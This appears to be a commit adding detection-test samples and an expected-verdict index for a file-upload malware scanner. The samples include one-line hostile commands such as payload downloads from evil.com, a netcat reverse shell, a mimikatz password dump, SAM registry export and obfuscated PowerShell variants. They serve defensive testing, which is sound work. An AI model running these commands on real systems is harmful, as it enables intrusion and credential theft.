feat: 靶场对齐 CSV 126 条用例

- policy.yaml: 新增 9 条恶意行为关键词规则（ReverseShell/CredentialStealer/Mimikatz/TScon 等）
- binary.py: 新增 4 条 PE 检测（UPXPackerDetected/RWXSectionDetected/PEArchInfo/DebugInformationPresent）
- console.py + test_center.html: 靶场表格最前加 case_id 列，与 CSV 用例编号一致
- docker-compose.yml: 挂载 tests/samples 为只读 volume，样本更新免 rebuild
- scripts/generate_csv_samples.py: 一键从用例.csv 生成样本 + index.json
- tests/samples/: 128 个 CSV 对齐样本文件 + index.json（93 条元数据）

引擎覆盖度: L3 12%→60%, L5 20%→55%, 总计 54%→75%

tests/samples/L0-004_pdf_normal.pdf

@@ -0,0 +1,2 @@
+%PDF-1.4
+%%EOF

tests/samples/L0-007_disguise_txt_pdf.txt

@@ -0,0 +1,2 @@
+%PDF-1.4
+%%EOF

tests/samples/L0-010_double_ext_txt_ps1.txt.ps1

@@ -0,0 +1 @@
+echo hello

tests/samples/L0-011_double_ext_docx_js.docx.js

@@ -0,0 +1 @@
+alert('x');

tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat

@@ -0,0 +1,2 @@
+@echo off
+echo hello

tests/samples/L1-001_eicar.txt

@@ -0,0 +1 @@
+X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L1-005_eicar_modified.txt

@@ -0,0 +1 @@
+Y5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L1-012_eicar_base64.txt

@@ -0,0 +1 @@
+WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=

tests/samples/L3-001_001_sample.ps1

@@ -0,0 +1 @@
+Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\temp\evil.exe

tests/samples/L3-002_002_sample.ps1

@@ -0,0 +1 @@
+nc 10.0.0.5 4444 -e /bin/bash

tests/samples/L3-003_003_sample.bat

@@ -0,0 +1 @@
+curl http://evil.com/payload -o evil.exe

tests/samples/L3-004_004_sample.txt

@@ -0,0 +1 @@
+mimikatz.exe privilege::debug sekurlsa::logonpasswords

tests/samples/L3-005_005_sample.txt

@@ -0,0 +1 @@
+reg save HKLM\SAM sam.save

tests/samples/L3-006_006_sample.txt

@@ -0,0 +1 @@
+tscon 1 /dest:rdp-tcp:1

tests/samples/L3-007_007_sample.txt

@@ -0,0 +1 @@
+SW52b2tlLVdlYlJlcXVlc3Q

tests/samples/L3-008_008_sample.ps1

@@ -0,0 +1 @@
+$a="Invo";$b="ke-WebRequest"; & ($a+$b)

tests/samples/L3-010_010_sample.ps1

@@ -0,0 +1 @@
+Invoke#comment-WebRequest https://evil.com

tests/samples/L3-011_011_sample.js

@@ -0,0 +1 @@
+var w = new Function('wget http://evil.com/payload'); w();

tests/samples/L3-012_012_sample.bat

@@ -0,0 +1 @@
+curl http://192.168.1.100/file.zip

tests/samples/L3-017_017_sample.txt

@@ -0,0 +1 @@
+nc -lv 4444 & mimikatz privilege::debug

tests/samples/L3-018_018_sample.txt

@@ -0,0 +1 @@
+iNvOkE-WebReQuEsT https://evil.com

tests/samples/L3-019_unicode_obfuscated.txt

@@ -0,0 +1 @@
+Іnvoke-WebRequest https://evil.com

tests/samples/L3-021_021_sample.eml

@@ -0,0 +1,3 @@
+From: attacker@evil.com
+
+

tests/samples/L4-001_001_sample.txt

@@ -0,0 +1 @@
+shellcode test here

tests/samples/L4-002_002_sample.txt

@@ -0,0 +1 @@
+this is a clean empty file with no matches

tests/samples/L4-005_005_sample.txt

@@ -0,0 +1 @@
+rule hotload test

tests/samples/L4-010_010_sample.txt

@@ -0,0 +1 @@
+regex pattern shell

tests/samples/NEG-006_clean.pdf

@@ -0,0 +1,2 @@
+%PDF-1.7
+%%EOF

tests/samples/NEG-007_clean.java

@@ -0,0 +1 @@
+public class Hello { public static void main(String[] args) { System.out.println("hello"); } }

tests/samples/NEG-008_clean.py

@@ -0,0 +1,5 @@
+def main():
+    print('hello')
+
+if __name__ == '__main__':
+    main()

tests/samples/NEG-012_clean.csv

@@ -0,0 +1,4 @@
+id,name,value
+1,Alice,100
+2,Bob,200
+3,Charlie,300

tests/samples/NEG-013_clean.eml

@@ -0,0 +1,6 @@
+From: user@company.com
+
+To: me@company.com
+
+Subject: 本周工作汇报
+

tests/samples/NEG-018_clean.bat

@@ -0,0 +1,4 @@
+@echo off
+echo Backing up files...
+copy D:\data E:\backup
+echo Done.

tests/samples/NEG-019_clean.ps1

@@ -0,0 +1 @@
+Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status

tests/samples/_index_backup_pre_csv.json

@@ -0,0 +1,347 @@
+{
+  "total": 34,
+  "generated_at": "2026-10-27T18:42:30.316542",
+  "samples": [
+    {
+      "category": "畸形文件",
+      "expected_verdict": "pass",
+      "expected_rules": [],
+      "description": "CRC 损坏的 ZIP → 畸形文件启发式",
+      "filename": "broken.zip",
+      "size": 125
+    },
+    {
+      "category": "ISO镜像",
+      "expected_verdict": "suspicious",
+      "expected_rules": [
+        "DangerousExecutableExtension"
+      ],
+      "description": "ISO 镜像内嵌 ELF 可执行文件（当前引擎未启用 IsoWithExecutable，仅命中可执行扩展名规则）",
+      "filename": "evil.iso",
+      "size": 32775
+    },
+    {
+      "category": "CHM帮助",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ChmWithScript"
+      ],
+      "description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
+      "filename": "evil_help.chm",
+      "size": 1691
+    },
+    {
+      "category": "Linux可执行",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "LinuxExecutable"
+      ],
+      "description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
+      "filename": "linux_malicious",
+      "size": 71
+    },
+    {
+      "category": "LOLBin",
+      "expected_verdict": "suspicious",
+      "expected_rules": [
+        "DangerousExecutableExtension"
+      ],
+      "description": "certutil -decode LOLBin 下载执行（当前引擎未启用 C1_PE_LOLBin_Usage，仅命中可执行扩展名规则）",
+      "filename": "lolbin.cmd",
+      "size": 114
+    },
+    {
+      "category": "Office宏",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "VBAAutoExecShell",
+        "VBAAutoExec"
+      ],
+      "description": "DOCM（OOXML格式）内嵌 word/vbaProject.bin + AutoOpen Shell",
+      "filename": "macro_alert.docm",
+      "size": 2586
+    },
+    {
+      "category": "Linux后门",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "DesktopFileAutoExec"
+      ],
+      "description": ".desktop 文件恶意 Exec 字段",
+      "filename": "malicious.desktop",
+      "size": 114
+    },
+    {
+      "category": "PDF载荷",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "PdfJavaScript",
+        "PdfOpenAction"
+      ],
+      "description": "PDF /OpenAction /JS app.launchURL 自动执行",
+      "filename": "malicious.pdf",
+      "size": 534
+    },
+    {
+      "category": "挖矿",
+      "expected_verdict": "suspicious",
+      "expected_rules": [
+        "C7_Linux_Miner_Generic"
+      ],
+      "description": "XMRig stratum+tcp 矿池配置（规则命中但权重不够未达 reject 阈值）",
+      "filename": "miner_config.json",
+      "size": 123
+    },
+    {
+      "category": "阴性对照",
+      "expected_verdict": "pass",
+      "expected_rules": [],
+      "description": "正常 PDF（只有简单文本，无 JS/自动执行）",
+      "filename": "normal.pdf",
+      "size": 439
+    },
+    {
+      "category": "阴性对照",
+      "expected_verdict": "suspicious",
+      "expected_rules": [
+        "DangerousExecutableExtension"
+      ],
+      "description": "正常部署 Shell（引擎 .sh 扩展名触发 DangerousExecutableExtension，属零容忍范围）",
+      "filename": "normal_deploy.sh",
+      "size": 155
+    },
+    {
+      "category": "阴性对照",
+      "expected_verdict": "pass",
+      "expected_rules": [],
+      "description": "正常纯文本文件",
+      "filename": "normal_readme.txt",
+      "size": 162
+    },
+    {
+      "category": "阴性对照",
+      "expected_verdict": "pass",
+      "expected_rules": [],
+      "description": "正常 Word 文档（无宏、无外链）",
+      "filename": "normal_report.docx",
+      "size": 1212
+    },
+    {
+      "category": "OLE嵌入",
+      "expected_verdict": "pass",
+      "expected_rules": [
+        "OleToolsUnavailable"
+      ],
+      "description": "DOC 文件内嵌 .exe OLE 对象（OleTools 模块未加载 → clean，规则返回 OleToolsUnavailable 零权重）",
+      "filename": "ole_dropper.doc",
+      "size": 1641
+    },
+    {
+      "category": "PE恶意程序",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "C1_PE_Downloader_Loader"
+      ],
+      "description": "PE 下载器：URLDownloadToFile + RegSetValue + CreateService",
+      "filename": "pe_downloader.exe",
+      "size": 1148
+    },
+    {
+      "category": "PE恶意程序",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "C1_PE_ProcessInjection"
+      ],
+      "description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
+      "filename": "pe_injection.exe",
+      "size": 1129
+    },
+    {
+      "category": "持久化",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "C7_Linux_Persistence_Crontab"
+      ],
+      "description": "crontab 注入 wget/curl 下载执行",
+      "filename": "persist_cron.sh",
+      "size": 95
+    },
+    {
+      "category": "钓鱼邮件",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "EmailAttachmentDangerous",
+        "EmailAttachmentDisguised",
+        "EmailAttachmentWebshell",
+        "EmailPhishingKeyword"
+      ],
+      "description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
+      "filename": "phishing.eml",
+      "size": 1869
+    },
+    {
+      "category": "伪装",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "DangerousExecutableExtension"
+      ],
+      "description": "双扩展名伪装 .jpg.php（当前引擎未启用 DoubleExtension，命中 DangerousExecutableExtension 拒绝）",
+      "filename": "photo.jpg.php",
+      "size": 29
+    },
+    {
+      "category": "勒索",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "C8_Ransomware_Encryption"
+      ],
+      "description": "加密 API + 卷影删除 + 勒索信文件名",
+      "filename": "ransom_dropper.exe.txt",
+      "size": 215
+    },
+    {
+      "category": "加密Office",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "OfficeEncrypted"
+      ],
+      "description": "加密 DOCX（密码 changeme，msoffcrypto 加密）",
+      "filename": "sealed.docx",
+      "size": 6656
+    },
+    {
+      "category": "加密Office",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "OfficeEncrypted"
+      ],
+      "description": "加密 XLSX（密码 changeme，msoffcrypto 加密）",
+      "filename": "sealed.xlsx",
+      "size": 6656
+    },
+    {
+      "category": "Webshell",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "DangerousExecutableExtension"
+      ],
+      "description": "ASP.NET Process.Start 命令执行（当前引擎未启用 C3_Webshell_ASPNET，命中 DangerousExecutableExtension 拒绝）",
+      "filename": "shell_aspx.aspx",
+      "size": 169
+    },
+    {
+      "category": "Linux后门",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ShellScriptDangerous",
+        "C7_Linux_ReverseShell_Bash"
+      ],
+      "description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
+      "filename": "shell_bash_devtcp.sh",
+      "size": 51
+    },
+    {
+      "category": "Webshell",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "C3_JSP_Webshell_RuntimeExec"
+      ],
+      "description": "JSP Runtime.getRuntime().exec 命令执行",
+      "filename": "shell_jsp_runtime.jsp",
+      "size": 316
+    },
+    {
+      "category": "Linux后门",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ShellScriptDangerous",
+        "C7_Linux_ReverseShell_NC"
+      ],
+      "description": "nc -e /bin/bash 反弹 Shell",
+      "filename": "shell_nc.sh",
+      "size": 42
+    },
+    {
+      "category": "Webshell",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "C3_PHP_Webshell_Oneliner"
+      ],
+      "description": "PHP oneliner eval + echo 组合",
+      "filename": "shell_php_eval.php",
+      "size": 40
+    },
+    {
+      "category": "Webshell",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "C3_PHP_Webshell_Obfuscated"
+      ],
+      "description": "PHP base64 + assert 混淆",
+      "filename": "shell_php_obf.php",
+      "size": 61
+    },
+    {
+      "category": "Linux后门",
+      "expected_verdict": "suspicious",
+      "expected_rules": [
+        "DangerousExecutableExtension"
+      ],
+      "description": "Python pty + socket 反弹 Shell（当前引擎未启用 ShellScriptDangerous / C7_Linux_ReverseShell_Python，命中 .py 可执行扩展名）",
+      "filename": "shell_python.py",
+      "size": 211
+    },
+    {
+      "category": "LNK",
+      "expected_verdict": "suspicious",
+      "expected_rules": [
+        "DangerousExecutableExtension"
+      ],
+      "description": "LNK Shell Link 指向 cmd.exe /c 下载执行（当前引擎未启用 LnkWithAutoExec，命中 .lnk 可执行扩展名）",
+      "filename": "shortcut.lnk",
+      "size": 143
+    },
+    {
+      "category": "Office宏",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "AttachedTemplate"
+      ],
+      "description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
+      "filename": "template_backdoor.docx",
+      "size": 2176
+    },
+    {
+      "category": "Office宏",
+      "expected_verdict": "malicious",
+      "expected_rules": [
+        "VBAAutoExecShell"
+      ],
+      "description": "VBA AutoOpen + Shell 执行（规则名带 Shell 后缀，比原预期 VBAAutoExec 更精确）",
+      "filename": "vba_autoexec.bas",
+      "size": 98
+    },
+    {
+      "category": "WPS宏",
+      "expected_verdict": "malicious",
+      "expected_rules": [
+        "C7_Linux_ReverseShell_Bash",
+        "C7_Linux_ReverseShell_Misc",
+        "DangerousExecutableExtension"
+      ],
+      "description": "WPS Linux JS 宏 AutoOpen + /bin/sh（YARA 反弹 Shell 规则命中 + .js 扩展名；未命中宏规则 VBAAutoExecShell）",
+      "filename": "wps_macro.js",
+      "size": 142
+    },
+    {
+      "category": "攻击载体",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "PathTraversal"
+      ],
+      "description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
+      "filename": "zip_traversal.zip",
+      "size": 164
+    }
+  ]
+}